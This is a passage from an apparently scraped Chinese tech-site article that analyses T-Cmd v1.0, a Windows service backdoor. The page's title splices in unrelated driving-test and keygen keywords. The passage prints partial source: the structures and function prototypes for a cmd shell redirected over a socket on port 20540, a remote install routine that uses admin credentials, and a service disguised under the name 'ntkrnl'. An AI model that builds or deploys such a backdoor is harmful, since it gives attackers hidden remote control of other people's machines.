b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

木马清除大师怎么样_木马清除大师靠谱吗_木马清除大师v8注册机(7)

电脑杂谈  发布时间:2017-03-03 18:04:33  来源:网络整理

五、关键函数分析

本文相关程序T-Cmd v1.0是一个服务级的后门程序,适用平台为Windows2000/XP。它可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,端口20540/tcp。

1.自定义数据结构与函数

typedef struct

{

HANDLE hPipe;

//为实现进程间通信而使用的管道;

SOCKET sClient;

//与客户端进行通信时的客户端套接字;

}SESSIONDATA,*PSESSIONDATA;

//重定向Cmd标准输入/输出时使用的数据结构;

typedef struct PROCESSDATA

{

HANDLE hProcess;

//创建Cmd进程时获得的进程句柄;

DWORD dwProcessId;

//创建Cmd进程时获得的进程标识符;

struct PROCESSDATA *next;

//指向下一个数据结构的指针;

}PROCESSDATA,*PPROCESSDATA;

//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;

void WINAPI CmdStart(DWORD,LPTSTR *);

//服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程;

void WINAPI CmdControl(DWORD);

//服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;

DWORD WINAPI CmdService(LPVOID);

//服务主线程,创建服务端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;

DWORD WINAPI CmdShell(LPVOID);

//创建管道与Cmd进程,及Cmd的输入/输出线程;

DWORD WINAPI ReadShell(LPVOID);

//重定向Cmd的输出,读取信息后发送到客户端;

DWORD WINAPI WriteShell(LPVOID);

//重定向Cmd的输入,接收客户端的信息输入到Cmd进程;

BOOL ConnectRemote(BOOL,char *,char *,char *);

//如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替;

void InstallCmdService(char *);

//复制传送文件,打开服务控制管理器,创建或打开服务程序;

void RemoveCmdService(char *);

//删除文件,停止服务后,卸载服务程序;

2.服务程序相关函数

SERVICE_TABLE_ENTRY DispatchTable[] =

{

{"ntkrnl",CmdStart},

//服务程序的名称和入口点;

{NULL ,NULL }

//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;

};

StartServiceCtrlDispatcher(DispatchTable);

//连接服务控制管理器,开始控制调度程序线程;

ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);

//注册CmdControl函数为“HandlerEx”函数,并初始化;


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/ruanjian/article-35588-7.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    每日福利
    热点图片
    拼命载入中...